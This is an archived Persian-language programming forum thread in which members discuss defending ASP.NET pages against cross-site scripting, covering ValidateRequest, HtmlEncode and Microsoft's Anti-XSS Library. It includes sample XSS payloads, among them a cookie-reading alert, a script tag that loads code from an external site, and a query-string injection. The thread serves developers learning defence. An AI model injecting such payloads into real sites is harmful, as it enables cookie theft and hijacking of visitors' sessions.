PDA

View Full Version : سوال: یک سوال راجع به حملات XSS



RoostaYeBekr
شنبه 23 آذر 1387, 12:02 عصر
با سلام
:لبخندساده:
قبلا خیلی شنیدیم که باید مراقب حملات XSS باشیم و یکی از کدهایی که خیلی در این باره مثال می زنند ، کد زیر است:


<script>alert(document.cookie);</script>

سوال من این است که اگر ما این کد بالا را در زمان اجرا ( در برنامه ی ویژوال استادیو ) وارد کنیم ، اصلا خود ویژوال استادیو اجازه نمی دهد که این اجرا شود و خودش پیغام می دهد که Script وارد شده و این خطرناک است. بنابراین نمی گذارد که اصلا این داده به دیتابیس هم برود.

خوب با توجه به این قضیه اصلا چرا باید از یک سری متدها مثل Server.HtmlEncode و غیره استفاده کنیم؟:عصبانی++:

Behrouz_Rad
شنبه 23 آذر 1387, 12:24 عصر
در دات نت 2.0، مقدار ValidateRequest برای دایرکتیو Page عرضه شد که به طور خودکار مقادیر ورودی رو بررسی می کنه. این خاصیت فقط به این دلیل عرضه شد که اگر برنامه نویس حواسش به تعیین اعتبار مقادیر ورودی نباشه، ASP.NET بهش کمک کنه. اما مشکلی که وجود داره اینه که ممکنه من در صفحه از یک Editor استفاده کرده باشم. برابر بودن مقدار ValidateRequest برابر با true، مانع از ارسال داده های اون Editor به برنامه میشه. در نتیجه باید ValidateRequest رو false کنی و خودت وظیفه ی بررسی داده های ورودی رو بر عهده بگیری.

موفق باشید.

Alireza_MagicBoy
شنبه 23 آذر 1387, 12:45 عصر
مایکروسافت قبلا Anti-Cross Site Scripting Library V1.5 رو برای این کار ارائه کرده ...
http://www.microsoft.com/downloads/details.aspx?familyid=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en
موفق باشید

RoostaYeBekr
شنبه 23 آذر 1387, 13:59 عصر
مایکروسافت قبلا Anti-Cross Site Scripting Library V1.5 رو برای این کار ارائه کرده ...
http://www.microsoft.com/downloads/details.aspx?familyid=EFB9C819-53FF-4F82-BFAF-E11625130C25&displaylang=en
موفق باشید
آره اینی که معرفی کردید رو قبلا دیده بودم.
به دیگران هم پیشنهاد می کنم اگر ندارنش ، حتما دانلودش کنند.

raminsoft
دوشنبه 25 آذر 1387, 00:56 صبح
سوالی داشتم ، پس با این توصیف اگر از Anti-Cross Site Scripting Library در برنامه های net 2.0 به بعد استفاده نکنیم هیچ مشکلی پیش نمی آید؟ و خودش این مشکل xss را چک میکند؟

RoostaYeBekr
دوشنبه 25 آذر 1387, 01:02 صبح
سوالی داشتم ، پس با این توصیف اگر از Anti-Cross Site Scripting Library در برنامه های net 2.0 به بعد استفاده نکنیم هیچ مشکلی پیش نمی آید؟ و خودش این مشکل xss را چک میکند؟
با سلام
ببین همونطور که آقای راد گفت : اگر بخواهی که از Editor ها استفاده بکنی ، لازم است که این قضیه رو چک کنی.

یک مثال برات می زنم . مثلا سایت هایی را در نظر بگیر که Editor دارد . اینها مجبورند که validateRequest را false کنند. وقتی هم که این کار را می کنند دیگر خود asp.net2.0 ، به طور خودکار چک نمی کند. پس این برنامه نویس است که باید با استفاده از متدهایی که در اختیار او گذاشته می شود ، به طور دستی خودش چک کند.

raminsoft
دوشنبه 25 آذر 1387, 22:01 عصر
ممنون که جواب دادید ، متوجه شدم که باید هنگام کار با Editor ها می بایست این attribute را غیر فعال کرد سوال من کلی تر است.
اگر من در صفحه ام چند تکس باکس داشته باشم برای ورود اطلاعات و از ادیتور هم استفاده نکنم آیا نیازی به چک کردن xss نیست و خود net 2.0 این عمل را انجام می دهد؟ یعنی فقط کافی است که فرم من این مشخه اش فعال باشد و دیگر نباید نگران بود؟

Behrouz_Rad
دوشنبه 25 آذر 1387, 22:44 عصر
خیر. در مستندات مایکروسافت هم که قبلاً مطالعه کردم گفته شده که خود شما باید وظیفه ی بررسی داده های ورودی رو بر عهده بگیرید.
ضمن اینکه شما نمی تونی پیش بینی کنی که کاربر چه چیزی رو در TextBox وارد می کنه! ممکنه نعوذ با... شیطان در وجود بنده ی سرا پا تقصیر رخنه کنه و من رو ترغیب به ورود داده های حرام از قبیل <script> بکنه.
توجه داشته باشید که این داده ها فقط از TextBox ها گرفته نمیشن. Query String ها، کوکی ها و مقادیر Http Header هم باید کنترل بشن.

موفق باشید.

Behrouz_Rad
سه شنبه 26 آذر 1387, 09:12 صبح
آقای راد در فرم های ارسال نظر اگر اسکریپت نوشته بشه خطری وجود داره.

چون در این فرم ها فقط رکورد اضافه میشه و مثل فرم لاگین خونده نمیشه...!

این سوال بود؟ اگر سوال می پرسید، گذاشتن علامت سوال رو فراموش نکنید.
اگر من در یک TextBox، عبارت ذیل رو وارد کنم:


<script src="http://www.mysite.com/badJS.js"></script><script>badFunction();</script>

زمانی که صفحه ی محتوی اون رکورد لود میشه، تابع badFunction هم اجرا میشه. می بینید که من تونستم اون تابع رو از یک سایت مخرب در صفحه ی یک سایت دیگه به سادگی لود و اجرا کنم.

موفق باشید.

raminsoft
چهارشنبه 27 آذر 1387, 01:29 صبح
ورود داده های حرام از قبیل <script> بکنه.

آیا بجز <script> داده ی حرام دیگه نیز وجود دارد؟



توجه داشته باشید که این داده ها فقط از TextBox ها گرفته نمیشن. Query String ها، کوکی ها و مقادیر Http Header هم باید کنترل بشن.

موفق باشید.

پیش فرض وقتی داده های حرام وارد textBox میشوند خودش پیغام خطا میدهد ، اگر حالا با فرض اینکه در صفحه ی خودمان ادیتور نداریم و همچنین فعال بودن ValidateRequest در صفحه و استفاده کردن فقط از چند Textbox و نداشتن هیچ گونه QueryString,Cookie,,,, آیا باز هم خطر وجود دارد؟

وآخرین سوال : آیا بهترین راه جلوگیری از تمام این موارد استفاده از همین تابع خود مایکروسافت هست؟

emad_67
چهارشنبه 27 آذر 1387, 10:48 صبح
این سوال بود؟ اگر سوال می پرسید، گذاشتن علامت سوال رو فراموش نکنید.
اگر من در یک TextBox، عبارت ذیل رو وارد کنم:


<script src="http://www.mysite.com/badJS.js"></script><script>badFunction();</script>
زمانی که صفحه ی محتوی اون رکورد لود میشه، تابع badFunction هم اجرا میشه. می بینید که من تونستم اون تابع رو از یک سایت مخرب در صفحه ی یک سایت دیگه به سادگی لود و اجرا کنم.

موفق باشید.
سلام آقا بهروز
من برام درست جا نمیفته که اجرا شدن این تابع چه خطری میتونه داشته باشه؟
مثلا اگر فردی اینو در یک textbox وارد کنه و داده های اون در بانک ذخیره بشه، برای کاربران دیگه ایی که اون صفحه رو مشاهده می کنن، میتونه خطر داشته باشه چون در مرورگر اونا اجرا میشه. مثل قسمت یادداشت ها که یادداشت ها ی ثبت شده برای همه نمایش داده میشه.
اما مثلا در query string چه جوری میخواد مشکلی پیش بیاد؟ فرضا کاربر بیاد همچین چیزی رو وارد کنه:


http://target/test.aspx?q=<SCRIPT>alert('XSS')</SCRIPT>

این query string اگر در جایی ذخیره نشه(معمولا query string ها به این شکل هستند) قاعدتا برای کسی هم به اجرا در نمیاد. پس چه خطری میتونه داشته باشه؟

Behrouz_Rad
چهارشنبه 27 آذر 1387, 11:38 صبح
آیا بجز <script> داده ی حرام دیگه نیز وجود دارد؟

هر اسکریپتی می تونه خطرناک باشه. اصولاً کاراکترهای ">" و "<"، کاراکترهایی هستند که یک اسکریپت رو مشخص می کنند. مثال های زیادی میشه آورد.


پیش فرض وقتی داده های حرام وارد textBox میشوند خودش پیغام خطا میدهد ، اگر حالا با فرض اینکه در صفحه ی خودمان ادیتور نداریم و همچنین فعال بودن ValidateRequest در صفحه و استفاده کردن فقط از چند Textbox و نداشتن هیچ گونه QueryString,Cookie,,,, آیا باز هم خطر وجود دارد؟

هندلری که ورودی رو کنترل می کنه، اولین هندلر هست. یعنی قبل از اینکه وارد چرخه ی حیات صفحه بشی، ورودی بررسی میشه. در نتیجه نمی تونی خطایی که رخ میده و از نوع HttpRequestValidationException هست رو در سطح متد Catch کنی. البته Catch کردنش می تونه در Web.config انجام بشه. مایکروسافت پیشنهاد کرده که فقط به این قابلیت بسنده نکنید و خود شما هم ورودی رو بررسی کنید.


آیا بهترین راه جلوگیری از تمام این موارد استفاده از همین تابع خود مایکروسافت هست؟

ASP.NET از کلاسی با نام CrossSiteScriptingValidation که به صورت internal در #C و Friend در VB.NET معرفی شده برای بررسی ورودی استفاده می کنه. این کلاس، کامل نیست و نمی تونه تمامی حالات خطرناک رو تشخیص بده. در نتیجه مایکروسافت، کتابخانه ی Anti Cross Site Scripting رو معرفی کرد که کنترل بیشتری رو بر روی مقدار ورودی انجام میده.


اما مثلا در query string چه جوری میخواد مشکلی پیش بیاد؟

البته تنها، خوندن مقادیر از Query String نیست که مشکل ساز میشه. نمیدونم اسکریپتی رو که با وارد کردن اون در Address bar، تصاویر درون صفحه ی جستجوی گوگل میچرخیدن رو دیدی یا نه؟ از همین می تونی نتیجه بگیری که اسکریپت ها حتی در Address bar هم می تونن خطرناک باشن.

موفق باشید.

leG_big
دوشنبه 14 اردیبهشت 1388, 19:39 عصر
دوستان سلام . من فکر کنم اگر در زمان ذخیره دیتا از ادیتور ما کلمات کلیدی مثل )<SCRIPT> رو فیلتر کنیم . دیگه نیازی به این همه زحمت نیست . کلا چه در کوکی ها ، چه در ریکوست ها و ... آیا این موضوع درست هست ؟ چون فکرکنم که این سیستم هم مثل sql injection هست . ؟؟؟؟ و با این کار میشه جلوش رو گرفت ؟

eAmin
دوشنبه 14 اردیبهشت 1388, 21:33 عصر
دوستان سلام . من فکر کنم اگر در زمان ذخیره دیتا از ادیتور ما کلمات کلیدی مثل )<SCRIPT> رو فیلتر کنیم . دیگه نیازی به این همه زحمت نیست . کلا چه در کوکی ها ، چه در ریکوست ها و ... آیا این موضوع درست هست ؟ چون فکرکنم که این سیستم هم مثل sql injection هست . ؟؟؟؟ و با این کار میشه جلوش رو گرفت ؟
سلام.

ادیتورهای کامل فعلی، این امکان رو به صورت درونی دارن، ولی شما باید به همراه اون، از طرف سرور هم اینکار رو انجام بدید.

peymannaji
دوشنبه 14 اردیبهشت 1388, 23:07 عصر
آقای راد در یک قسمت فرمودند که اگر که ValidateRequest در دایرکشن فرم را fals قرار دهیم وظیفه چک کردن با خودمون هست . حالا میخوام بدونم منظور از چک کردن اینجا چیست ؟

RoostaYeBekr
سه شنبه 15 اردیبهشت 1388, 12:52 عصر
آقای راد در یک قسمت فرمودند که اگر که ValidateRequest در دایرکشن فرم را fals قرار دهیم وظیفه چک کردن با خودمون هست . حالا میخوام بدونم منظور از چک کردن اینجا چیست ؟
سلام
فکر کنم منظورشون ، محتویات این فایلی هست که فرستادم.